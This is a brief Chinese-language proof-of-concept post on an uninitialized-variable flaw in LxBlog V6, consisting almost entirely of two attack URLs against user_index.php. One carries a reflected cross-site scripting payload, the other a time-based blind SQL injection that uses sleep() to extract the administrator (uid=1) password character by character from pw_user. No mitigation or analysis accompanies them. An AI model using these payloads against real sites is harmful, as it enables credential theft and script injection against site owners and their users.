LxBlog V6变量未初始化漏洞

=======================poc================================== http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script> =======================poc================================== =======================poc================================== //判断uid=1的用户的密码第一位的ASCII值是否大于0 http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/* =======================poc==================================